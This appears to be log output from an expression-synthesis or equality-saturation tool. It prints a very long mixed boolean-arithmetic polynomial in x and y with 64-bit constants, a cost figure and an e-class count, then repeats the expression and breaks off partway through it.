Synthesized (cost = 5009): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y))))+((((x|y)*0xf97d428000000000)*(x*y))*(y^x)))+(((x|y)*0xfdd46b8000000000)*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000))+((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((x&(~y))*0x22c04c00de18a6ae))+((x&y)*0xdd3fb3ff21e75952))+(((x|y)*0x4a9fc5a000000000)*y))+(((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(x&(~y))))+(((x|y)*0xb5603a6000000000)*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(x&(~y))))+(((x*y)*0xc8082bc800000000)*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(x&(~y))))+(((y^x)*0xdab01d3000000000)*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(x&(~y))))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(x&(~y))))+((((x|y)*(x|y))*0xc100b5c000000000)*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(x&(~y))))+((((x|y)*0xa18110a000000000)*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(x&(~y))))+((((x|y)*0xc100b5c000000000)*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(x&(~y))))+((((x*y)*(x*y))*0xbc90663c00000000)*(x&y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*y))+((((x*y)*0xaf3f77b000000000)*(y^x))*((~x)^y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*(x&(~y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*y))+((((y^x)*(y^x))*0x8fbfd29000000000)*((~x)^y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*(x&(~y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*0xb46a7de000000000)*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(x&(~y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*(x&(~y)))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&y)*(x&y))))+(((x*y)*0x874fde6800000000)*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(x&(~y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*(x&(~y)))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*0xb46a7de000000000)*y)*((~x)^y)))+((((y^x)*0xb46a7de000000000)*y)*(x&(~y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*(x&(~y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*0xfa40113000000000))+(((y*y)*0xeec0339000000000)*((~x)^y)))+(((y*y)*0xeec0339000000000)*(x&(~y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*(x&(~y)))*(x&y)))+((y*0xeec0339000000000)*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((((~x)^y)*0x227f98e000000000)*(x&(~y)))*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&y)*(x&y))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000))+((((x&(~y))*(x&(~y)))*0x113fcc7000000000)*(x&y)))+(((x&(~y))*0xeec0339000000000)*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*y))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*((~x)^y)))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*(x&(~y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*y))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*(x&(~y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*y))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*(x&(~y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*y))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*(x&(~y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*y))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*(x&(~y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*y))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*y))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*(x&(~y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*y))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*(x&(~y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(x&(~y))))+((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&y)*(x&y))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&y)*(x&y))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&y)*(x&y))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*((~x)^y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*((~x)^y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*0xf181638000000000)*(y*y))*((~x)^y)))+((((x|y)*0xf181638000000000)*(y*y))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x|y)*0xf181638000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x|y)*0xaf7f898000000000)*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*0xb5210aa000000000)*(y*y))*((~x)^y)))+((((x*y)*0xb5210aa000000000)*(y*y))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x*y)*0xb5210aa000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x*y)*0xc39fa72000000000)*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(x&(~y)))*((x&y)*(x&y))))+(((y^x)*0xd7bfc4c000000000)*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*0x820278b000000000))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(x&(~y))))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+((((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((y*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((y*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((((~x)^y)*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y)))+((((x&(~y))*(x&(~y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((x&(~y))*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 2822
Synthesized (cost = 5009): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y))))+((((x|y)*0xf97d428000000000)*(x*y))*(y^x)))+(((x|y)*0xfdd46b8000000000)*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000))+((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((x&(~y))*0x22c04c00de18a6ae))+((x&y)*0xdd3fb3ff21e75952))+(((x|y)*0x4a9fc5a000000000)*y))+(((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(x&(~y))))+(((x|y)*0xb5603a6000000000)*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(x&(~y))))+(((x*y)*0xc8082bc800000000)*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(x&(~y))))+(((y^x)*0xdab01d3000000000)*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(x&(~y))))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(x&(~y))))+((((x|y)*(x|y))*0xc100b5c000000000)*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(x&(~y))))+((((x|y)*0xa18110a000000000)*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(x&(~y))))+((((x|y)*0xc100b5c000000000)*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(x&(~y))))+((((x*y)*(x*y))*0xbc90663c00000000)*(x&y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*y))+((((x*y)*0xaf3f77b000000000)*(y^x))*((~x)^y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*(x&(~y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*y))+((((y^x)*(y^x))*0x8fbfd29000000000)*((~x)^y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*(x&(~y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*0xb46a7de000000000)*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(x&(~y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*(x&(~y)))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&y)*(x&y))))+(((x*y)*0x874fde6800000000)*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(x&(~y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*(x&(~y)))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*0xb46a7de000000000)*y)*((~x)^y)))+((((y^x)*0xb46a7de000000000)*y)*(x&(~y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*(x&(~y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*0xfa40113000000000))+(((y*y)*0xeec0339000000000)*((~x)^y)))+(((y*y)*0xeec0339000000000)*(x&(~y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*(x&(~y)))*(x&y)))+((y*0xeec0339000000000)*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((((~x)^y)*0x227f98e000000000)*(x&(~y)))*(x&y)))+((((~x)^y)*